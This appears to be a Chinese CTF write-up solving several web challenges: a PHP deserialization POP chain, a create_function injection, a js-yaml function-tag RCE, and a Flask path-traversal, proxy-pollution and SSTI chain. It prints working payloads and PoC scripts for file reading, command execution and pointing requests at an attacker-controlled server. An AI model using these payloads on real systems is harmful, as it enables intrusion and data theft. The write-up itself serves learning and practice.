easy_unserialize
<?php
error_reporting(0);
class Good{
public $g1;
private $gg2;
public function __construct($ggg3)
{
$this->gg2 = $ggg3;
}
public function __isset($arg1)
{
if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
{
if ($this->gg2)
{
$this->g1->g1=666;
}
}else{
die("No");
}
}
}
class Luck{
public $l1;
public $ll2;
private $md5;
public $lll3;
public function __construct($a)
{
$this->md5 = $a;
}
public function __toString()
{
$new = $this->l1;
return $new();
}
public function __get($arg1)
{
$this->ll2->ll2('b2');
}
public function __unset($arg1)
{
if(md5(md5($this->md5)) == 666)
{
if(empty($this->lll3->lll3)){
echo "There is noting";
}
}
}
}
class To{
public $t1;
public $tt2;
public $arg1;
public function __call($arg1,$arg2)
{
if(urldecode($this->arg1)===base64_decode($this->arg1))
{
echo $this->t1;
}
}
public function __set($arg1,$arg2)
{
if($this->tt2->tt2)
{
echo "what are you doing?";
}
}
}
class You{
public $y1;
public function __wakeup()
{
unset($this->y1->y1);
}
}
class Flag{
public function __invoke()
{
echo "May be you can get what you want here";
array_walk($this, function ($one, $two) {
$three = new $two($one);
foreach($three as $tmp){
echo ($tmp.'<br>');
}
});
}
}
if(isset($_POST['D0g3']))
{
unserialize($_POST['D0g3']);
}else{
highlight_file(__FILE__);
}
?>
链子挺好找的
wakeup-》unset-》tostring-》invoke-》Flag
据说在invoke中直接查看phpinfoI()也可以直接看到flag,应该是非预期,按部就班的话就是在Flag类中利用原生类来读取文件。
浅浅讲一下Flag类中的实现方式
class Flag{
public function __invoke()
{
echo "May be you can get what you want here";
array_walk($this, function ($one, $two) {
$three = new $two($one);
foreach($three as $tmp){
echo ($tmp.'<br>');
}
});
}
}
在 __invoke()
方法中,使用了 array_walk()
函数来遍历类实例自身(即 $this
)的属性和值。对每个属性和值($one代表属性名 $two代表属性值,例如假使Flag有$a=’b‘的属性,那么$one就是a,$two就是b),都会执行一个匿名函数,在匿名函数中很明显可以利用原生类。
给个结合原生类列目录的poc
<?php
error_reporting(0);
class Good{
public $g1;
private $gg2;
}
class Luck{
public $l1;
public $ll2;
public $md5;
public $lll3;
public function __toString()
{
$new = $this->l1;
return $new();
}
public function __unset($arg1)
{
if(md5(md5($this->md5)) == 666)
{
if(empty($this->lll3->lll3)){
echo "There is noting";
}
}
}
}
class To{
public $t1;
public $tt2;
public $arg1;
}
class You{
public $y1;
public function __wakeup()
{
unset($this->y1->y1);
}
}
class Flag{
public function __invoke()
{
echo "May be you can get what you want here";
array_walk($this, function ($one, $two) {
$three = new $two($one);
foreach($three as $tmp){
echo ($tmp.'<br>');
}
});
}
}
$a = new You();
$a->y1 = new Luck();
$a->y1->md5 = new Luck();
$a->y1->md5->l1 = new Flag();
$a->y1->md5->l1->DirectoryIterator = "file:///";
echo serialize($a);
?>
然后根据所得到的需要读取的文件,利用原生类读取即可
<?php
error_reporting(0);
class Good{
public $g1;
private $gg2;
}
class Luck{
public $l1;
public $ll2;
public $md5;
public $lll3;
public function __toString()
{
$new = $this->l1;
return $new();
}
public function __unset($arg1)
{
if(md5(md5($this->md5)) == 666)
{
if(empty($this->lll3->lll3)){
echo "There is noting";
}
}
}
}
class To{
public $t1;
public $tt2;
public $arg1;
}
class You{
public $y1;
public function __wakeup()
{
unset($this->y1->y1);
}
}
class Flag{
public function __invoke()
{
echo "May be you can get what you want here";
array_walk($this, function ($one, $two) {
$three = new $two($one);
foreach($three as $tmp){
echo ($tmp.'<br>');
}
});
}
}
$a = new You();
$a->y1 = new Luck();
$a->y1->md5 = new Luck();
$a->y1->md5->l1 = new Flag();
$a->y1->md5->l1->SplFileObject = "/FfffLlllLaAaaggGgGg";
echo serialize($a);
?>
额看了官方的wp之后才发现原来我这样做也是非预期,悲!
按出题人的意思,每一个类都是要用到的,看了之后发现挺多都是新知识,因此记录一下。
# -*- coding: utf-8 -*-
# 运行: python2 md5.py "666" 0
import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.ascii_letters + string.digits
def cmp_md5(substr, stop_event, str_len, start=0, size=20):
global CHARS
while not stop_event.is_set():
rnds = ''.join(random.choice(CHARS) for _ in range(size))
md5 = hashlib.md5(rnds)
value = md5.hexdigest()
if value[start: start + str_len] == substr:
# print rnds
# stop_event.set()
# 碰撞双md5
md5 = hashlib.md5(value)
if md5.hexdigest()[start: start + str_len] == substr:
print rnds + "=>" + value + "=>" + md5.hexdigest() + "\n"
stop_event.set()
if __name__ == '__main__':
substr = sys.argv[1].strip()
start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
str_len = len(substr)
cpus = multiprocessing.cpu_count()
stop_event = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
stop_event, str_len, start_pos))
for i in range(cpus)]
for p in processes:
p.start()
for p in processes:
p.join()
what's my name
<?php
highlight_file(__file__);
$d0g3=$_GET['d0g3'];
$name=$_GET['name'];
if(preg_match('/^(?:.{5})*include/',$d0g3)){
$sorter='strnatcasecmp';
$miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
if(strlen($d0g3)==substr($miao, -2)&&$name===$miao){
$sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';
@$miao=create_function('$a, $b', $sort_function);
}
else{
echo('Is That My Name?');
}
}
else{
echo("YOU Do Not Know What is My Name!");
}
?>
这个得算是原题了吧,网上一搜就搜到了
首先正则匹配要求必须以5个字符加include开头,然后会通过create_function创建一个匿名方法,返回匿名方法的名称,本地调试时可以发现是下面这种形式
lambda_1,后面的数字会随着没创建一个匿名方法而增加,也就是说你重复发请求,就能让最后的数字一直增大,因此绕过if判断很简单了,但是有一个坑,$miao的最前面是有一个空格符%00的,因此在$name前面也需要加一个。
进入if判断后再次创建了一个匿名函数,这个函数中有我们可控的内容,因此只需要提前闭合前面的函数,就可以随意注入恶意代码了
先放poc:
?d0g3="]);}include(index.php);phpinfo();/*&name=%00lambda_36
带入匿名函数后就是
{
return 1 * strnatcasecmp($a[""]);
}
include(index.php);
phpinfo();
/*"], $b[""]);}include(index.php);phpinfo();/*"]);;
太菜了以至于只做出上面两题,以下的都是赛后复现
signal
题目给了源码,简单审计一下就是将一些类型的文件通过yaml.load()和yaml.dump()转换成yaml文件,然后将yaml文件中的name属性的值和整个文件的内容渲染到模板上。
if (output) {
let name = 'ctfer';
const yamlData = yaml.load(output);
if (yamlData && yamlData.name) {
name = yamlData.name;
}
req.session.outputData=name;
req.session.outputData=output;
res.render('preview', { name: name,output: output }); // 渲染 preview.ejs 模板
} else {
res.status(400).send('Unsupported format.')
}
});
<p>可爱的<%= name %>公主殿下 你转换后的文件是:</p>
<pre>
<%= output %>
</pre>
简单测试一下,建立一个test.yaml的文件,内容为(省略号后面有一个空格,这是yaml文件的格式要求)
name: aaa
可以看到name渲染的值是可控的。
然后到这就不会了,看了wp,是利用了js-yaml在3.14.1版本允许使用 tag 构造任意 JS 函数。
使用方法:
然后很妙的一点就是利用了js在Function、对象需要转换为字符串时,通常会自动调用函数、对象中的 toString 方法,而我们可以在函数中重写这个方法,来达到命令执行的目的。
在本题中利用了render函数来渲染模板,因此我们可以控制name属性为一个对象,在对象中重写tostring方法,yaml文件中对象的格式为
因此最后的payload为
"name" : { toString: !!js/function "function(){ flag = process.mainModule.require('child_process').execSync('cat /fla*').toString(); return flag;}"}
最后放一下主要的源码:
const express = require('express');
const multer = require('multer');
const bodyParser = require('body-parser');
const ini = require('iniparser');
const xml2js = require('xml2js');
const properties = require('properties');
const yaml = require('js-yaml');
const cp = require('child_process')
const path = require('path');
const session = require('express-session');
const app = express();
const port = process.env.PORT || 80;
// 设置存储配置
const storage = multer.memoryStorage();
const upload = multer({ storage: storage });
app.use(express.static(path.join(__dirname, 'public')));
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
app.use(session({
secret: 'welcome',//
resave: false,
saveUninitialized: false,
cookie: {
maxAge: 3600000
}
}))
let output = '';
app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, 'public', 'index.html'));
});
app.post('/convert', upload.single('configFile'), (req, res) => {
if (!req.file) {
return res.status(400).send('No file uploaded.');
}
if(req.body.format!="yaml"){
return res.status(404).send("该功能暂未开始使用.");
}
const fileExtension = path.extname(req.file.originalname).toLowerCase();
const fileBuffer = req.file.buffer.toString('utf8');
if (fileExtension === '.ini') {
// 处理 INI 文件
const parsedData = ini.parseString(fileBuffer);
output = yaml.dump(parsedData);
} else if (fileExtension === '.xml') {
// 处理 XML 文件
xml2js.parseString(fileBuffer, (err, result) => {
if (err) {
return res.status(500).send('Error parsing XML.');
}
output = yaml.dump(result);
});
} else if (fileExtension === '.properties') {
// 处理 Properties 文件
properties.parse(fileBuffer, (err, parsedData) => {
if (err) {
console.error('Error parsing properties file:', err);
return res.status(500).send('Error parsing properties file.');
}
output = yaml.dump(parsedData);
});
} else if (fileExtension === '.yaml') {
// 处理 YAML 文件
try {
// 尝试解析 YAML 文件
const yamlData = yaml.load(fileBuffer);
// 如果成功解析,yamlData 变量将包含 YAML 文件的内容
output = yaml.dump(yamlData);
} catch (e) {
return res.status(400).send('Invalid YAML format: ' + e.message);
}
}
if (output) {
let name = 'ctfer';
const yamlData = yaml.load(output);
if (yamlData && yamlData.name) {
name = yamlData.name;
}
req.session.outputData=name;
req.session.outputData=output;
res.render('preview', { name: name,output: output }); // 渲染 preview.ejs 模板
} else {
res.status(400).send('Unsupported format.')
}
});
app.get('/download', (req, res) => {
if (output) {
const outputData = req.session.outputData;
// 设置响应头,指定文件的内容类型为YAML
res.setHeader('Content-Type', 'application/x-yaml');
// 设置响应头,指定文件名
res.setHeader('Content-Disposition', 'attachment; filename="output.yaml"');
// 将转换后的文件内容发送给客户端
res.send(outputData);
} else {
res.status(404).send('File not found.');
}
});
app.get('/flag',(req, res) => {
if(req.session.name=='admin'){
cp.execFile('/readflag', (err, stdout, stderr) => {
if (err) {
console.error('Error:', err);
return res.status(404).send('File not found.');
}
res.send(stdout);
})
} else {
res.status(403).send('Permission denied.');
}
})
app.listen(port, () => {
console.log(`App is running on port ${port}`)
})
Swagger docs
打开就是没见到过的东西,是swagger接口文档,这里根据wp反向推理一下文档的意思。。。
path是路由,本题中有注册路由,登录路由,搜索路由等等五条路由,这里取一条介绍下,也就是上图的register路由。
很明显访问这个路由需要用post请求,json格式的数据,post携带的参数需要从definitions/UserRegistration找,也就是username和password参数。
因此注册账号的payload就是(记得格式要改成application/json)
之后就是类似上述步骤进行登录,然后才能访问search路由(登录成功才会有正确的token)
然后根据wp知道在search路由可以进行任意文件读取,type得是text,这样返回的也是text文本
先读进程:
http://47.108.206.43:39475/api-base/v0/search?file=../../../../../proc/1/cmdline&type=text
再读源码位置:
http://47.108.206.43:39475/api-base/v0/search?file=../../../../../app/run.sh&type=text
读源码:
http://47.108.206.43:39475/api-base/v0/search?file=../../../../../app/app.py&type=text
#coding=gbk
import json
from flask import Flask, request, jsonify,send_file,render_template_string
import jwt
import requests
from functools import wraps
from datetime import datetime
import os
app = Flask(__name__)
app.config['TEMPLATES_RELOAD']=True
app.config['SECRET_KEY'] = 'fake_flag'
current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
response0 = {
'code': 0,
'message': 'failed',
'result': None
}
response1={
'code': 1,
'message': 'success',
'result': current_time
}
response2 = {
'code': 2,
'message': 'Invalid request parameters',
'result': None
}
def auth(func):
@wraps(func)
def decorated(*args, **kwargs):
token = request.cookies.get('token')
if not token:
return 'Invalid token', 401
try:
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
if payload['username'] == User.username and payload['password'] == User.password:
return func(*args, **kwargs)
else:
return 'Invalid token', 401
except:
return 'Something error?', 500
return decorated
@app.route('/',methods=['GET'])
def index():
return send_file('api-docs.json', mimetype='application/json;charset=utf-8')
@app.route('/api-base/v0/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.json['username']
password = request.json['password']
User.setUser(username,password)
token = jwt.encode({'username': username, 'password': password}, app.config['SECRET_KEY'], algorithm='HS256')
User.setToken(token)
return jsonify(response1)
return jsonify(response2),400
@app.route('/api-base/v0/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.json['username']
password = request.json['password']
try:
token = User.token
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
if payload['username'] == username and payload['password'] == password:
response = jsonify(response1)
response.set_cookie('token', token)
return response
else:
return jsonify(response0), 401
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401
return jsonify(response2), 400
@app.route('/api-base/v0/update', methods=['POST', 'GET'])
@auth
def update_password():
try:
if request.method == 'POST':
try:
new_password = request.get_json()
if new_password:
update(new_password, User)
updated_token = jwt.encode({'username': User.username, 'password': User.password},
app.config['SECRET_KEY'], algorithm='HS256')
User.token = updated_token
response = jsonify(response1)
response.set_cookie('token',updated_token)
return response
else:
return jsonify(response0), 401
except:
return "Something error?",505
else:
return jsonify(response2), 400
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401
def update(src, dst):
if hasattr(dst, '__getitem__'):
for key in src:
if isinstance(src[key], dict):
if key in dst and isinstance(src[key], dict):
update(src[key], dst[key])
else:
dst[key] = src[key]
else:
dst[key] = src[key]
else:
for key, value in src.items() :
if hasattr(dst,key) and isinstance(value, dict):
update(value,getattr(dst, key))
else:
setattr(dst, key, value)
@app.route('/api-base/v0/logout')
def logout():
response = jsonify({'message': 'Logout successful!'})
response.delete_cookie('token')
return response
@app.route('/api-base/v0/search', methods=['POST','GET'])
@auth
def api():
if request.args.get('file'):
try:
if request.args.get('id'):
id = request.args.get('id')
else:
id = ''
data = requests.get("http://127.0.0.1:8899/v2/users?file=" + request.args.get('file') + '&id=' + id)
if data.status_code != 200:
return data.status_code
if request.args.get('type') == "text":
return render_template_string(data.text)
else:
return jsonify(json.loads(data.text))
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401
except Exception:
return 'something error?'
else:
return jsonify(response2)
class MemUser:
def setUser(self, username, password):
self.username = username
self.password = password
def setToken(self, token):
self.token = token
def __init__(self):
self.username="admin"
self.password="password"
self.token=jwt.encode({'username': self.username, 'password': self.password}, app.config['SECRET_KEY'], algorithm='HS256')
if __name__ == '__main__':
User = MemUser()
app.run(host='0.0.0.0')
接下去就是抄wp了
- 发现/api-base/v0/search存在render_template_string(),可导致ssti造成rce,只需要控制渲染内容即可
- uapate()函数中存在类似于原型链污染,可以利用来修改环境变量
通过原型链污染,修改http_proxy环境变量(改成自己服务器的ip和端口),即可控制请求的响应数据来造成ssti,实现rce。
http://47.108.206.43:40476/api-base/v0/update
{
"__init__": {
"__globals__": {
"os": {
"environ": {
"http_proxy":"ip:port"
}
}
}
}
}
修改代理后即可随意发送请求(注意:得选择text才能进入渲染)
http://47.108.206.43:40476/api-base/v0/search?file=user&type=text
VPS控制请求响应:
HTTP/1.1 200 OK
{{lipsum.__globals__['os'].popen('cat EY6zl0isBvAWZFxZMvCCCTS3VRVMvoNi_FLAG').read()}}